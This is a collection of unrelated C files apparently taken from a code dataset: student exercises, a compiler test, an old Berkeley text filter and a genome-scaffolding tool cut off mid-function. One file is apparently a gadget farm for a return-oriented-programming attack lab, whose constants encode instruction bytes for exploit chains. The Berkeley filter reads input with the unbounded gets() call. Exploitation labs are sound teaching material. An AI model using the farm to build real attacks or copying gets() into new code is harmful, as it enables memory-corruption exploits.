* FCTUC - DEI/LEI - AED
* Coimbra, 18 de fevereiro de 2020
*************************************************************************** */
#include <stdio.h>
#include <stdlib.h>
int main() {
int i, j, n, soma, valor, terminar;
int * array;
while (1) {
terminar = 0;
fscanf(stdin, "%d %d", &n, &valor);
printf("\nn: %d - valor: %d\n", n, valor); /* temp - eliminar na submissao*/
if (n == 0 && valor == 0)
break;
array = (int *) malloc(sizeof(int) * n);
if (array == NULL) {
printf("Erro no Malloc \n");
perror("");
exit(1);
}
for (i = 0; i < n; i++) {
fscanf(stdin, "%d", &j);
array[i] = j;
}
for (i = 0; (i < n) && (terminar == 0); i++) {
soma = 0;
for (j = i; (j < n) && (terminar == 0); j++) {
soma = soma + array[j];
if (soma == valor) {
printf("Subsequencia na posicao %d\n", i+1);
free(array);
terminar = 1;
}
}
}
if (terminar == 0) {
printf("Subsequencia nao existe\n");
free(array);
}
}
return 0;
}
|
the_stack_data/232956905.c | /* { dg-do compile } */
/* { dg-require-effective-target ia32 } */
/* { dg-options "-mpreferred-stack-boundary=2" } */
/* This compile only test is to detect an assertion failure in stack branch
development. */
double
foo (void)
{
}
|
the_stack_data/47290.c | int f(int a, int b, short c, int d, short e)
{
int i;
for (i = 1; i <= 2 ; i++) {
c -= 4;
a = c;
d = d + (b?b:e);
}
return a + d;
}
|
the_stack_data/126702675.c | /* This function marks the start of the farm */
int start_farm()
{
return 1;
}
unsigned addval_283(unsigned x)
{
return x + 2425379051U;
}
unsigned addval_428(unsigned x)
{
return x + 3284633928U;
}
unsigned addval_138(unsigned x)
{
return x + 3347793993U;
}
unsigned getval_106()
{
return 1556320344U;
}
unsigned addval_218(unsigned x)
{
return x + 2430139849U;
}
unsigned getval_195()
{
return 2423811310U;
}
unsigned addval_496(unsigned x)
{
return x + 2496104776U;
}
unsigned addval_231(unsigned x)
{
return x + 2428995912U;
}
/* This function marks the middle of the farm */
int mid_farm()
{
return 1;
}
/* Add two arguments */
long add_xy(long x, long y)
{
return x+y;
}
unsigned getval_265()
{
return 2464188744U;
}
unsigned getval_433()
{
return 3531129481U;
}
void setval_493(unsigned *p)
{
*p = 2429651248U;
}
unsigned addval_379(unsigned x)
{
return x + 3680555401U;
}
void setval_380(unsigned *p)
{
*p = 3230977673U;
}
unsigned addval_393(unsigned x)
{
return x + 3269495112U;
}
void setval_410(unsigned *p)
{
*p = 3531132553U;
}
void setval_267(unsigned *p)
{
*p = 3682124425U;
}
void setval_352(unsigned *p)
{
*p = 2425409193U;
}
void setval_345(unsigned *p)
{
*p = 3676881545U;
}
unsigned getval_239()
{
return 3281047177U;
}
unsigned getval_342()
{
return 3767093398U;
}
unsigned addval_338(unsigned x)
{
return x + 2430634312U;
}
unsigned getval_408()
{
return 3674788237U;
}
void setval_254(unsigned *p)
{
*p = 2881605257U;
}
unsigned getval_452()
{
return 3678982537U;
}
void setval_294(unsigned *p)
{
*p = 3223375496U;
}
unsigned getval_391()
{
return 3286272072U;
}
unsigned getval_407()
{
return 3771287682U;
}
unsigned addval_442(unsigned x)
{
return x + 3373846921U;
}
void setval_160(unsigned *p)
{
*p = 3375940233U;
}
unsigned getval_217()
{
return 2425406089U;
}
unsigned getval_333()
{
return 3229929865U;
}
void setval_320(unsigned *p)
{
*p = 3636580745U;
}
void setval_370(unsigned *p)
{
*p = 3252717896U;
}
void setval_258(unsigned *p)
{
*p = 3252717896U;
}
void setval_133(unsigned *p)
{
*p = 3682128265U;
}
unsigned getval_212()
{
return 2428635542U;
}
unsigned addval_332(unsigned x)
{
return x + 2425668233U;
}
unsigned getval_302()
{
return 3255376293U;
}
void setval_497(unsigned *p)
{
*p = 3285092622U;
}
unsigned getval_108()
{
return 3380137609U;
}
/* This function marks the end of the farm */
int end_farm()
{
return 1;
}
|
the_stack_data/115766738.c | char *sccsid = "@(#)rfc678.c 4.1 (Berkeley) 4.1";
#include <stdio.h>
char linebuf[1024];
/*
* rfc678
*/
main()
{
register char *cp;
int lineno = 0;
while (gets(linebuf)) {
for (cp = linebuf; *cp; cp++)
if (*cp == 010) {
strcpy(cp-1, cp+1);
cp -= 2;
}
if (++lineno <= 59)
printf("%s\n", linebuf);
else if (lineno == 60)
printf("%s\f\n", linebuf);
lineno %= 66;
}
}
|
the_stack_data/46118.c | /****************************************************************************
****************************************************************************
* *
* Copyright (C) 2018 Genome Research Ltd. *
* *
* Author: Zemin Ning ([email protected]) *
* *
* This file is part of ScaffHiC pipeline. *
* *
* ScaffHiC is a free software: you can redistribute it and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation, either version 3 of the License, or (at your *
* option) any later version. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU *
* General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License along *
* with this program. If not, see <http://www.gnu.org/licenses/>. *
* *
****************************************************************************
****************************************************************************/
/****************************************************************************/
#include <math.h>
#include <values.h>
#include <stdio.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <dirent.h>
#include <string.h>
#include <ctype.h>
#define PADCHAR '-'
#define Max_N_NameBase 60
#define Max_N_NameBase2 14
static char **R_Name;
static int *hit_rddex,*hit_score,*hit_rcdex,*hit_locus1,*superlength,*hit_matlocu1,*hit_matlocu2,*hit_matindex;
static int *ctg_length,*hit_index;
/* SSAS default parameters */
static int IMOD=0;
static int nContig=0;
static int file_flag = 1;
static int ctg_minlen = 100000;
static int max_ctg = 1000000;
static int mtg_length = 100000000;
static int n_depth = 60;
static int c_pairs = 100;
static float m_score = 200.0;
static float d_score = 0.8;
static float c_score = 1.0;
static float NL_score = 0.0;
static float NR_score = 0.0;
static float N_score = 0.25;
static float l_score = 1.0;
static int i_getindex = 3;
static int j_getindex = 52;
int main(int argc, char **argv)
{
FILE *namef;
int i,nSeq,args,idt;
int n_contig,n_reads,nseq;
void Matrix_Process(char **argv,int args,int nSeq);
char *st,*ed;
char line[2000]={0},tempc1[60],rdname[60];
char **cmatrix(long nrl,long nrh,long ncl,long nch);
if(argc < 2)
{
printf("Usage: %s -depth 60 -score 200 <Input_HiC-alignment> <Output_matrix_agp>\n",argv[0]);
exit(1);
}
nSeq=0;
args=1;
for(i=1;i<argc;i++)
{
if(!strcmp(argv[i],"-mod"))
{
sscanf(argv[++i],"%d",&IMOD);
args=args+2;
}
else if(!strcmp(argv[i],"-depth"))
{
sscanf(argv[++i],"%d",&n_depth);
args=args+2;
}
else if(!strcmp(argv[i],"-len"))
{
sscanf(argv[++i],"%d",&ctg_minlen);
args=args+2;
}
else if(!strcmp(argv[i],"-score"))
{
sscanf(argv[++i],"%f",&m_score);
args=args+2;
}
else if(!strcmp(argv[i],"-degree"))
{
sscanf(argv[++i],"%f",&l_score);
args=args+2;
}
else if(!strcmp(argv[i],"-index"))
{
sscanf(argv[++i],"%d",&i_getindex);
args=args+2;
}
else if(!strcmp(argv[i],"-file"))
{
sscanf(argv[++i],"%d",&file_flag);
args=args+2;
}
}
fflush(stdout);
if(system("ps aux | grep scaffHiC_pmatrix; date") == -1)
{
// printf("System command error:\n);
}
nseq=0;
if((namef = fopen(argv[args],"r")) == NULL)
{
printf("ERROR main:: args \n");
exit(1);
}
while(!feof(namef))
{
if(fgets(line,2000,namef) == NULL)
{
// printf("fgets command error:\n);
}
if(feof(namef)) break;
nseq++;
}
fclose(namef);
if((hit_rddex = (int *)calloc(nseq,sizeof(int))) == NULL)
{
printf("fmate: calloc - insert\n");
exit(1);
}
if((hit_score = (int *)calloc(nseq,sizeof(int))) == NULL)
{
printf("fmate: calloc - hit_score\n");
exit(1);
}
if((hit_rcdex = (int *)calloc(nseq,sizeof(int))) == NULL)
{
printf("fmate: calloc - hit_rcdex\n");
exit(1);
}
if((hit_locus1 = (int *)calloc(nseq,sizeof(int))) == NULL)
{
printf("fmate: calloc - hit_locus1\n");
exit(1);
}
if((ctg_length = (int *)calloc(nseq,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_length\n");
exit(1);
}
if((superlength = (int *)calloc(nseq,sizeof(int))) == NULL)
{
printf("fmate: calloc - superlength\n");
exit(1);
}
if((hit_index = (int *)calloc(nseq,sizeof(int))) == NULL)
{
printf("fmate: calloc - hit_index\n");
exit(1);
}
nSeq=nseq;
R_Name=cmatrix(0,nseq+10,0,Max_N_NameBase);
n_contig=0;
n_reads=0;
printf("reads: %d %s\n",nseq,argv[args]);
if((namef = fopen(argv[args],"r")) == NULL)
{
printf("ERROR main:: reads group file \n");
exit(1);
}
/* read the alignment files */
i=0;
max_ctg = 0;
while(fscanf(namef,"%s %s %d %d %s %d",R_Name[i],rdname,&hit_locus1[i],&hit_score[i],tempc1,&superlength[i])!=EOF)
{
st = rdname;
ed = strrchr(rdname,'_');
idt = atoi(ed+1);
if(idt > max_ctg)
max_ctg = idt;
ctg_length[idt] = superlength[i];
hit_index[i] = idt;
i++;
}
fclose(namef);
max_ctg = max_ctg + 1;
n_reads=i;
Matrix_Process(argv,args,n_reads);
printf("Job finished for %d reads!\n",n_reads);
return EXIT_SUCCESS;
}
/* end of the main */
/* subroutine to sort out read pairs */
/* =============================== */
void Matrix_Process(char **argv,int args,int nSeq)
/* =============================== */
{
int i,j,k,m,n,n_scaff,n_blocks,len_thresd;
FILE *namef;
int *ctg_list,*ptp_list,*ptn_list,*ctg_print;
long num_cells,n_Bases;
int num_hits,num_hit1,num_hit2,rcdex,rsize,rsize2,size_row,dlinks[5];
int stopflag,offset,*ray,*dex;
void ArraySort_Mix(int n, long *arr, int *brr);
void ArraySort_float2(int n, float *arr, int *brr);
char **DBname,*st,*ed;
int **p_matrix,**PP_matrix,**PN_matrix,**PO_matrix,**s_matrix,**s2_matrix,**o_matrix,**r_matrix,**rc0_matrix,**rc1_matrix,**rc2_matrix,**rc3_matrix,**rc_matrix,**rcdex_matrix;
float rate,c_score1,c_score2,nl_score,nr_score,*Dis_index,*Dis_ratia1,*Dis_ratia2,*Dis_score1,*Dis_score2,*Dnd_score1,*Dnd_score2,*DD_score1,*DD_score2;
int **imatrix(long nrl,long nrh,long ncl,long nch);
float **fmatrix(long nrl,long nrh,long ncl,long nch);
void ArraySort2_Int2(int n, int *arr, int *brr);
void ArraySort_Int2(int n, int *arr, int *brr);
void Reads_Distribution(int n, int m, int *arr, int *brr);
void Normal_Distribution(int n, int m, int *arr, int *brr);
void Direction_Ratio(int n,int *arr);
int *ctg_score1,*ctg_score2,*ctg_mapp1,*ctg_mapp2,*ctg_join1,*ctg_join2,*ctg_idex1,*ctg_idex2,*ctg_mask,*ctg_rcdex1;
int *p_index,*p_rcdex,*p_masks,*p_score,*p_lists;
int *ctg_rcoo1,*ctg_rcoo2,*ctg_part1,*ctg_part2,*ctg_patnum;
int *ctg_output,*ctg_hitnum,*ctg_used,*ctg_links,*ctg_oodex1,*ctg_oodex2,*ctg_rcindex,*ctg_mpindex,*ctg_outrc;
int *hit_linksdex,*link_locus,*link_locu2,*link_locu3,*head_locus;
int n_length = ctg_minlen;
rsize = max_ctg+10;
n_blocks = rsize*rsize;
len_thresd = 25000000;
if((ctg_idex1 = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_idex1\n");
exit(1);
}
if((ctg_idex2 = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_idex2\n");
exit(1);
}
if((ctg_rcdex1 = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_mapp1\n");
exit(1);
}
if((ctg_mapp1 = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_mapp1\n");
exit(1);
}
if((ctg_mapp2 = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_mapp2\n");
exit(1);
}
if((ctg_part1 = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_part1\n");
exit(1);
}
if((ctg_part2 = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_part2\n");
exit(1);
}
if((ctg_score1 = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_score1\n");
exit(1);
}
if((ctg_score2 = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_score2\n");
exit(1);
}
if((ctg_join1 = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_join1\n");
exit(1);
}
if((ctg_join2 = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_join2\n");
exit(1);
}
if((ctg_mask = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_mask\n");
exit(1);
}
if((ctg_oodex1 = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_oodex1\n");
exit(1);
}
if((ctg_oodex2 = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_oodex2\n");
exit(1);
}
if((ctg_rcoo1 = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_rcoo1\n");
exit(1);
}
if((ctg_rcoo2 = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_rcoo2\n");
exit(1);
}
if((ctg_hitnum = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_hitnum\n");
exit(1);
}
if((ctg_patnum = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_pattnum\n");
exit(1);
}
if((ctg_output = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_output\n");
exit(1);
}
if((ctg_used = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_used\n");
exit(1);
}
if((ctg_links = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_links\n");
exit(1);
}
if((ctg_rcindex = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_rcindex\n");
exit(1);
}
if((ctg_outrc = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_outrc\n");
exit(1);
}
if((ctg_list = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_list\n");
exit(1);
}
if((ptp_list = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - ptp_list\n");
exit(1);
}
if((ptn_list = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - ptn_list\n");
exit(1);
}
if((ctg_print = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_print\n");
exit(1);
}
if((ctg_mpindex = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_mpindex\n");
exit(1);
}
if((Dis_index = (float *)calloc(rsize,sizeof(float))) == NULL)
{
printf("fmate: calloc - Dis_index\n");
exit(1);
}
if((Dis_ratia1 = (float *)calloc(rsize,sizeof(float))) == NULL)
{
printf("fmate: calloc - Dis_index\n");
exit(1);
}
if((Dis_ratia2 = (float *)calloc(rsize,sizeof(float))) == NULL)
{
printf("fmate: calloc - Dis_index\n");
exit(1);
}
if((DD_score1 = (float *)calloc(rsize,sizeof(float))) == NULL)
{
printf("fmate: calloc - Dis_score1\n");
exit(1);
}
if((DD_score2 = (float *)calloc(rsize,sizeof(float))) == NULL)
{
printf("fmate: calloc - Dis_score1\n");
exit(1);
}
if((Dis_score1 = (float *)calloc(rsize,sizeof(float))) == NULL)
{
printf("fmate: calloc - Dis_score1\n");
exit(1);
}
if((Dis_score2 = (float *)calloc(rsize,sizeof(float))) == NULL)
{
printf("fmate: calloc - Dis_score2\n");
exit(1);
}
if((Dnd_score1 = (float *)calloc(rsize,sizeof(float))) == NULL)
{
printf("fmate: calloc - Dnd_score1\n");
exit(1);
}
if((Dnd_score2 = (float *)calloc(rsize,sizeof(float))) == NULL)
{
printf("fmate: calloc - Dnd_score2\n");
exit(1);
}
if((p_index = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - p_index\n");
exit(1);
}
if((p_rcdex = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - p_rcdex\n");
exit(1);
}
if((p_score = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - p_score\n");
exit(1);
}
if((p_masks = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - p_mask\n");
exit(1);
}
if((p_lists = (int *)calloc(rsize,sizeof(int))) == NULL)
{
printf("fmate: calloc - p_lists\n");
exit(1);
}
if((link_locus = (int *)calloc(n_blocks,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_links\n");
exit(1);
}
if((head_locus = (int *)calloc(n_blocks,sizeof(int))) == NULL)
{
printf("fmate: calloc - head_locus\n");
exit(1);
}
if((link_locu2 = (int *)calloc(n_blocks,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_links\n");
exit(1);
}
if((link_locu3 = (int *)calloc(n_blocks,sizeof(int))) == NULL)
{
printf("fmate: calloc - ctg_links\n");
exit(1);
}
printf("contigs: %d %d %d\n",rsize,max_ctg,nSeq);
size_row = n_depth;
p_matrix=imatrix(0,rsize,0,rsize);
PP_matrix=imatrix(0,rsize,0,100);
PN_matrix=imatrix(0,rsize,0,100);
PO_matrix=imatrix(0,rsize,0,100);
s_matrix=imatrix(0,rsize,0,rsize);
s2_matrix=imatrix(0,rsize,0,rsize);
o_matrix=imatrix(0,rsize,0,rsize);
r_matrix=imatrix(0,rsize,0,rsize);
rc0_matrix=imatrix(0,rsize,0,rsize);
rc1_matrix=imatrix(0,rsize,0,rsize);
rc2_matrix=imatrix(0,rsize,0,rsize);
rc3_matrix=imatrix(0,rsize,0,rsize);
rc_matrix=imatrix(0,rsize,0,rsize);
rcdex_matrix=imatrix(0,rsize,0,rsize);
num_hits =0;
k = 0;
offset = 0;
for(i=0;i<nSeq;i++)
{
stopflag=0;
j=i+1;
while((j<nSeq)&&(stopflag==0))
{
if(strcmp(R_Name[i],R_Name[j])==0)
{
j++;
}
else
stopflag=1;
}
if((j-i)>=2)
{
int idi,idt,len1,len2,loci1,loci2;
if(hit_index[i] < hit_index[i+1])
{
idi = hit_index[i];
idt = hit_index[i+1];
len1 = superlength[i]/2;
len2 = superlength[i+1]/2;
loci1 = hit_locus1[i];
loci2 = hit_locus1[i+1];
}
else
{
idi = hit_index[i+1];
idt = hit_index[i];
len2 = superlength[i]/2;
len1 = superlength[i+1]/2;
loci2 = hit_locus1[i];
loci1 = hit_locus1[i+1];
}
if(loci1 < len1)
{
if(loci2 < len2)
{
rc0_matrix[idi][idt]++;
}
else
{
rc2_matrix[idi][idt]++;
}
}
else
{
if(loci2 < len2)
{
rc1_matrix[idi][idt]++;
}
else
{
rc3_matrix[idi][idt]++;
}
}
}
else
{
printf("www: %s %d\n",R_Name[i],superlength[i]);
}
i=j-1;
}
for(i=0;i<max_ctg;i++)
{
for(j=0;j<max_ctg;j++)
{
if(j>i)
{
rc0_matrix[j][i] = rc0_matrix[i][j];
rc1_matrix[j][i] = rc2_matrix[i][j];
rc2_matrix[j][i] = rc1_matrix[i][j];
rc3_matrix[j][i] = rc3_matrix[i][j];
}
}
}
for(i=0;i<max_ctg;i++)
{
for(j=0;j<max_ctg;j++)
{
r_matrix[i][j] = rc0_matrix[i][j]+rc1_matrix[i][j]+rc2_matrix[i][j]+rc3_matrix[i][j];
}
}
num_cells = 0;
for(i=0;i<max_ctg;i++)
{
for(j=0;j<max_ctg;j++)
{
int idh = i*max_ctg;
hit_rddex[j] = j;
num_cells = num_cells+r_matrix[i][j];
link_locu3[idh+j] = r_matrix[i][j];
}
}
for(i=0;i<max_ctg;i++)
{
ctg_part1[i] = -1;
ctg_part2[i] = -1;
ctg_mapp1[i] = -1;
ctg_mapp2[i] = -1;
ctg_rcdex1[i] = -1;
}
head_locus[0] = 0;
for(i=1;i<n_blocks;i++)
{
head_locus[i] = head_locus[i-1] + link_locu3[i-1];
}
num_cells = num_cells + 20000;
if((hit_matlocu1 = (int *)calloc(num_cells,sizeof(int))) == NULL)
{
printf("fmate: calloc - hit_matlocus\n");
exit(1);
}
if((hit_matlocu2 = (int *)calloc(num_cells,sizeof(int))) == NULL)
{
printf("fmate: calloc - hit_matlocus\n");
exit(1);
}
if((hit_matindex = (int *)calloc(num_cells,sizeof(int))) == NULL)
{
printf("fmate: calloc - hit_matindex\n");
exit(1);
}
if((hit_linksdex = (int *)calloc(num_cells,sizeof(int))) == NULL)
{
printf("fmate: calloc - hit_linksdex\n");
exit(1);
}
for(i=0;i<num_cells;i++)
hit_linksdex[i] = i;
for(i=0;i<nSeq;i++)
{
stopflag=0;
j=i+1;
while((j<nSeq)&&(stopflag==0))
{
if(strcmp(R_Name[i],R_Name[j])==0)
{
j++;
}
else
stopflag=1;
}
if((j-i)>=2)
{
int idi,idt,ikk,len1,len2,loci1,loci2;
int idh1,idh2;
if(hit_index[i] < hit_index[i+1])
{
idi = hit_index[i];
idt = hit_index[i+1];
len1 = superlength[i]/2;
len2 = superlength[i+1]/2;
loci1 = hit_locus1[i];
loci2 = hit_locus1[i+1];
}
else
{
idi = hit_index[i+1];
idt = hit_index[i];
len2 = superlength[i]/2;
len1 = superlength[i+1]/2;
loci2 = hit_locus1[i];
loci1 = hit_locus1[i+1];
}
idh1 = idi*max_ctg+idt;
idh2 = idt*max_ctg+idi;
hit_matlocu1[head_locus[idh1]+link_locus[idh1]] = loci1;
hit_matlocu1[head_locus[idh2]+link_locu2[idh2]] = loci2;
link_locus[idh1]++;
link_locu2[idh2]++;
}
else
{
printf("www: %s %d\n",R_Name[i],superlength[i]);
}
i=j-1;
}
n_Bases = 0;
for(i=0;i<max_ctg;i++)
n_Bases = n_Bases + ctg_length[i];
printf("Total number of contigs: %d\n",max_ctg);
for(i=0;i<max_ctg;i++)
{
for(j=0;j<max_ctg;j++)
hit_rddex[j] = j;
Dis_index[i] = 0.0;
ArraySort2_Int2(max_ctg,r_matrix[i],hit_rddex);
memset(ctg_rcindex,0,4*max_ctg);
printf("scaffold: %d %d %d\n",i,max_ctg,ctg_length[i]);
printf("matrix: %d %d\n",max_ctg,ctg_length[i]);
for(j=0;j<size_row;j++)
{
int idi,idj,offset1,offset2,c1_pairs,c2_pairs;
int idd = hit_rddex[j];
int n_pairs = r_matrix[i][j];
int n_pairs_half = n_pairs/2;
float rr1,rr2,rat1,rat2,sq1,sq2,rat_size;
int halflen_1,halflen_2,half_len1,half_len2;
int rcindex1,rcindex2,rcindex;
rcindex1 = 1;
rcindex2 = 1;
idi = i;
idj = hit_rddex[j];
offset1 = head_locus[idi*max_ctg+idj];
offset2 = head_locus[idj*max_ctg+idi];
ray = hit_matlocu1;
dex = hit_linksdex;
ArraySort_Int2(n_pairs,ray+offset1,dex+offset1);
ArraySort_Int2(n_pairs,ray+offset2,dex+offset2);
halflen_1 = hit_matlocu1[offset1+n_pairs_half];
halflen_2 = hit_matlocu1[offset2+n_pairs_half];
half_len1 = ctg_length[idi]/2;
half_len2 = ctg_length[idj]/2;
if(halflen_1 > ctg_length[idi]/2)
{
rcindex1 = 0;
halflen_1 = ctg_length[idi]-halflen_1;
}
if(halflen_2 > ctg_length[idj]/2)
{
rcindex2 = 0;
halflen_2 = ctg_length[idj]-halflen_2;
}
if(rcindex1 == 0)
{
if(rcindex2 == 0)
rcindex = 0;
else
rcindex = 1;
}
else
{
if(rcindex2 == 0)
rcindex = 2;
else
rcindex = 3;
}
ctg_rcindex[j] = rcindex;
rat1 = half_len1;
rat1 = rat1/halflen_1;
rat2 = half_len2;
rat2 = rat2/halflen_2;
if(rat1 > 10.0)
rat1 = 1.0;
if(rat2 > 10.0)
rat2 = 1.00;
c1_pairs = n_pairs;
c2_pairs = n_pairs;
c_score1 = 1.0;
if((rat1 > 1.8)||(rat2 > 1.8)||(ctg_length[idi] < 1000000))
{
i_getindex = idi;
j_getindex = idj;
Reads_Distribution(n_pairs,ctg_length[idi],ray+offset1,dex+offset1);
printf("Distribute: %d %d %d %d %f %f || %d %d\n",halflen_1,halflen_2,half_len1,half_len2,d_score,c_score,n_pairs,c_pairs);
c_score1 = c_score;
c1_pairs = c_pairs;
}
c_score2 = 1.0;
// if((rat1 > 2.0)||(rat2 > 2.0))
if((rat1 > 1.8)||(rat2 > 1.8)||(ctg_length[idj] < 1000000))
{
i_getindex = idj;
j_getindex = idi;
Reads_Distribution(n_pairs,ctg_length[idj],ray+offset2,dex+offset2);
printf("Distribute: %d %d %d %d %f %f || %d %d\n",halflen_1,halflen_2,half_len1,half_len2,d_score,c_score,n_pairs,c_pairs);
c_score2 = c_score;
c2_pairs = c_pairs;
}
if(c1_pairs > c2_pairs)
c_pairs = c2_pairs;
else
c_pairs = c1_pairs;
c_pairs = n_pairs;
rr1 = n_Bases;
rr1 = rr1/nSeq;
rr1 = rr1*c_pairs*1000.0;
rr1 = rr1/half_len1;
rr1 = rr1*(rat1 - 1.0);
// rr1 = rr1/half_len1;
rr2 = n_Bases;
rr2 = rr2/nSeq;
rr2 = rr2*c_pairs*1000.0;
rr2 = rr2/half_len2;
rr2 = rr2*(rat2 - 1.0);
// rr2 = rr2/half_len2;
nl_score = 0.0;
nr_score = 0.0;
if(ctg_length[idi] > ctg_length[idj])
{
rat_size = ctg_length[idi];
rat_size = rat_size/ctg_length[idj];
if(rat_size > 30.0)
{
i_getindex = idi;
j_getindex = idj;
Normal_Distribution(n_pairs,ctg_length[idi],ray+offset1,dex+offset1);
nl_score = NL_score;
nr_score = NR_score;
// printf("Distribute: %d %d %d %d | %f %f\n",n_pairs,idi,idj,ctg_length[idi],nl_score,nr_score);
}
}
else
{
rat_size = ctg_length[idj];
rat_size = rat_size/ctg_length[idi];
if(rat_size > 30.0)
{
i_getindex = idi;
j_getindex = idj;
Normal_Distribution(n_pairs,ctg_length[idj],ray+offset2,dex+offset2);
nl_score = NL_score;
nr_score = NR_score;
// printf("Distribute: %d %d %d %d | %f %f\n",n_pairs,idi,idj,ctg_length[idi],nl_score,nr_score);
}
}
DD_score1[j] = rr1;
DD_score2[j] = rr2;
Dis_score1[j] = c_score1;
Dis_score2[j] = c_score2;
Dnd_score1[j] = nl_score;
Dnd_score2[j] = nr_score;
Dis_ratia1[j] = rat1;
Dis_ratia2[j] = rat2;
Dis_index[j] = rr1*rr2;
printf("%6d | %6d %d %d | %d %d %f %f %f %f | %f %f %f %4d %4d %4d %4d | %f %f\n",ctg_length[idd],r_matrix[i][j],hit_rddex[j],rcindex,halflen_1,halflen_2,rat1,rat2,c_score1,c_score2,rr1,rr2,rr1*rr2,rc0_matrix[i][idd],rc1_matrix[i][idd],rc2_matrix[i][idd],rc3_matrix[i][idd],nl_score,nr_score);
}
if((ctg_length[i]>=n_length))
{
int OO_index1 = 0;
int OO_index2 = 0;
int hitmax1 = 0;
int hitmax2 = 0;
int ctgmax1 = 0;
int ctgmax2 = 0;
int idi,idj,disidd;
float disdex = 0.0;
float disdex2 = 0.0;
float rr,rr2,rr3,M_score;
OO_index1 = 0;
for(k=0;k<max_ctg;k++)
{
float DS = 0.0;
if(DD_score1[k] >= DD_score2[k])
{
DS = DD_score1[k];
if(DD_score2[k] == 0.0)
DS = 1000;
else
DS = DS/DD_score2[k];
}
else
{
DS = Dis_score2[k];
if(DD_score1[k] == 0.0)
DS = 1000;
else
DS = DS/DD_score1[k];
}
// if(i==41)
// printf("Dis: %d %f %f %f\n",k,DD_score1[k],DD_score2[k],DS);
if((ctg_length[hit_rddex[k]]>=n_length)&&(disdex < Dis_index[k])&&(ctg_rcindex[k]<2)&&(Dis_ratia1[k] > 1.01)&&(Dis_ratia2[k] > 1.01)&&(Dis_score1[k] >= d_score)&&(Dis_score2[k] >= d_score)&&(Dnd_score1[k]<=N_score)&&(Dnd_score2[k]<=N_score)&&(DS < 50))
{
disdex = Dis_index[k];
OO_index1 = ctg_rcindex[k];
disidd = k;
}
}
if((ctg_length[i] < len_thresd)&&(ctg_length[hit_rddex[disidd]]< len_thresd))
{
M_score = m_score;
}
else
{
float set1 = ctg_length[i];
float set2 = ctg_length[hit_rddex[disidd]];
set1 = set1/len_thresd;
set2 = set2/len_thresd;
M_score = (set1+set2)*m_score*l_score;
if(i==76||i==254)
printf("score00: %d %f %f %f %f\n",i,M_score,disdex,set1,set2);
}
dlinks[0] = rc0_matrix[i][hit_rddex[disidd]];
dlinks[1] = rc1_matrix[i][hit_rddex[disidd]];
dlinks[2] = rc2_matrix[i][hit_rddex[disidd]];
dlinks[3] = rc3_matrix[i][hit_rddex[disidd]];
dlinks[4] = 0;
Direction_Ratio(i,dlinks);
if(i==76||i==254)
printf("score1: %d %f %f %d %d %d %d %d\n",i,M_score,disdex,dlinks[0],dlinks[1],dlinks[2],dlinks[3],dlinks[4]);
if((disdex > M_score)&&(dlinks[4] == 1))
{
if(dlinks[0] == rc0_matrix[i][hit_rddex[disidd]])
{
rcdex_matrix[i][hit_rddex[disidd]] = 1;
rcdex_matrix[hit_rddex[disidd]][i] = 1;
}
else if(dlinks[0] == rc1_matrix[i][hit_rddex[disidd]])
{
rcdex_matrix[i][hit_rddex[disidd]] = 2;
rcdex_matrix[hit_rddex[disidd]][i] = 3;
}
else if(dlinks[0] == rc2_matrix[i][hit_rddex[disidd]])
{
rcdex_matrix[i][hit_rddex[disidd]] = 3;
rcdex_matrix[hit_rddex[disidd]][i] = 2;
}
else if(dlinks[0] == rc3_matrix[i][hit_rddex[disidd]])
{
rcdex_matrix[i][hit_rddex[disidd]] = 4;
